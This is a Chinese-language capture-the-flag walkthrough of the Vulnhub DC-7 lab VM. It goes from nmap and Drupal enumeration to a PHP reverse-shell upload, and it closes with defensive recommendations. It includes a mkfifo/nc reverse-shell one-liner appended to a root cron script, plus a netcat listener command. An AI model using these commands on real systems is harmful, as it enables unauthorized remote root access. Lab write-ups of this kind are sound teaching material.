Vulnhub靶机DC系列-DC7
字数 1285 2025-08-15 21:33:22

DC-7 靶机渗透教学文档

靶场介绍

DC-7 是 Vulnhub 上的一个故意设计为有漏洞的实验室环境,旨在提供渗透测试实践经验。这个挑战不需要过多技术性操作,但也不简单。它延续了之前 DC 系列靶机的逻辑进展,但引入了一些新概念。

关键特点

  • 需要"跳出常规思维"进行渗透
  • 不需要暴力破解或字典攻击
  • 最终目标是获取 root 权限并读取唯一 flag
  • 需要 Linux 技能和基本渗透测试工具经验

环境搭建

  1. 从 Vulnhub 下载 DC-7 靶机镜像:DC-7 下载地址
  2. 使用 VMware 加载镜像,设置为桥接模式

信息收集

1. 发现靶机 IP

nmap -sn 192.168.3.0/24

2. 端口扫描和服务识别

nmap -sV -p- <靶机IP>

预期会发现 80 端口运行着 Drupal CMS

Web 应用渗透

1. 初步探测

  • 访问 http://<靶机IP> 查看 Drupal 网站
  • 检查 robots.txt 文件
  • 尝试访问 install.mysql 但会返回 403 错误

2. 版本识别

尝试识别 Drupal 版本,但直接搜索漏洞可能不会成功

3. 关键发现

在网站内容中搜索 @DC7USER,这可能会提供重要线索

4. 代码审计

下载网站代码进行审计,检查 config.php 文件中的数据库配置信息

权限提升路径

1. SSH 访问

尝试使用发现的凭据通过 SSH 登录

2. 邮件信息

检查 /var/mail 目录下的 mbox 邮件文件,发现提示:

  • /opt/scripts/backups.sh 脚本路径

3. Drupal 管理员权限

使用发现的命令修改 Drupal 管理员密码:

drush user-password admin --password="新密码"

4. 获取反向 Shell

  1. 以管理员身份登录 Drupal
  2. 安装 PHP 模块(从 Drupal PHP 模块页面
  3. 上传 PHP 反向 Shell:
  4. 修改反向 Shell 代码中的 IP 和端口
  5. 上传并执行获取反向连接

提权到 root

1. 发现特权脚本

  • 发现 /opt/scripts/backups.sh 具有 root 权限但属于 www-data 组
  • 当前用户 (www-data) 可以修改此脚本

2. 插入反向 Shell 命令

echo "mkfifo /tmp/bqro; nc <攻击机IP> 7373 0</tmp/bqro | /bin/sh >/tmp/bqro 2>&1; rm /tmp/bqro" >> /opt/scripts/backups.sh

3. 等待连接

在攻击机上监听:

nc -lvnp 7373

当 backups.sh 脚本执行时(可能是通过 cron 定时任务),将获得 root shell

4. 读取 flag

获取 root 权限后,在系统中查找并读取 flag 文件

关键要点总结

  1. 信息收集阶段要彻底,包括搜索隐藏的文本线索(如 @DC7USER)
  2. 代码审计是重要步骤,特别是配置文件
  3. 利用邮件等系统文件获取额外信息
  4. 通过修改具有 root 权限的脚本实现提权
  5. 整个过程不需要暴力破解,而是依靠系统分析和逻辑推理

防御建议

  1. 限制敏感信息在网页中的暴露
  2. 定期检查系统邮件和日志文件
  3. 严格控制具有 root 权限的脚本的修改权限
  4. 及时更新 CMS 和插件
  5. 限制 PHP 文件上传和执行能力
DC-7 靶机渗透教学文档 靶场介绍 DC-7 是 Vulnhub 上的一个故意设计为有漏洞的实验室环境,旨在提供渗透测试实践经验。这个挑战不需要过多技术性操作,但也不简单。它延续了之前 DC 系列靶机的逻辑进展,但引入了一些新概念。 关键特点 : 需要"跳出常规思维"进行渗透 不需要暴力破解或字典攻击 最终目标是获取 root 权限并读取唯一 flag 需要 Linux 技能和基本渗透测试工具经验 环境搭建 从 Vulnhub 下载 DC-7 靶机镜像: DC-7 下载地址 使用 VMware 加载镜像,设置为桥接模式 信息收集 1. 发现靶机 IP 2. 端口扫描和服务识别 预期会发现 80 端口运行着 Drupal CMS Web 应用渗透 1. 初步探测 访问 http://<靶机IP> 查看 Drupal 网站 检查 robots.txt 文件 尝试访问 install.mysql 但会返回 403 错误 2. 版本识别 尝试识别 Drupal 版本,但直接搜索漏洞可能不会成功 3. 关键发现 在网站内容中搜索 @DC7USER ,这可能会提供重要线索 4. 代码审计 下载网站代码进行审计,检查 config.php 文件中的数据库配置信息 权限提升路径 1. SSH 访问 尝试使用发现的凭据通过 SSH 登录 2. 邮件信息 检查 /var/mail 目录下的 mbox 邮件文件,发现提示: /opt/scripts/backups.sh 脚本路径 3. Drupal 管理员权限 使用发现的命令修改 Drupal 管理员密码: 4. 获取反向 Shell 以管理员身份登录 Drupal 安装 PHP 模块(从 Drupal PHP 模块页面 ) 上传 PHP 反向 Shell: 可以使用 msfvenom 生成: 或使用 Pentest Monkey 的 PHP 反向 Shell 修改反向 Shell 代码中的 IP 和端口 上传并执行获取反向连接 提权到 root 1. 发现特权脚本 发现 /opt/scripts/backups.sh 具有 root 权限但属于 www-data 组 当前用户 (www-data) 可以修改此脚本 2. 插入反向 Shell 命令 3. 等待连接 在攻击机上监听: 当 backups.sh 脚本执行时(可能是通过 cron 定时任务),将获得 root shell 4. 读取 flag 获取 root 权限后,在系统中查找并读取 flag 文件 关键要点总结 信息收集阶段要彻底,包括搜索隐藏的文本线索(如 @DC7USER) 代码审计是重要步骤,特别是配置文件 利用邮件等系统文件获取额外信息 通过修改具有 root 权限的脚本实现提权 整个过程不需要暴力破解,而是依靠系统分析和逻辑推理 防御建议 限制敏感信息在网页中的暴露 定期检查系统邮件和日志文件 严格控制具有 root 权限的脚本的修改权限 及时更新 CMS 和插件 限制 PHP 文件上传和执行能力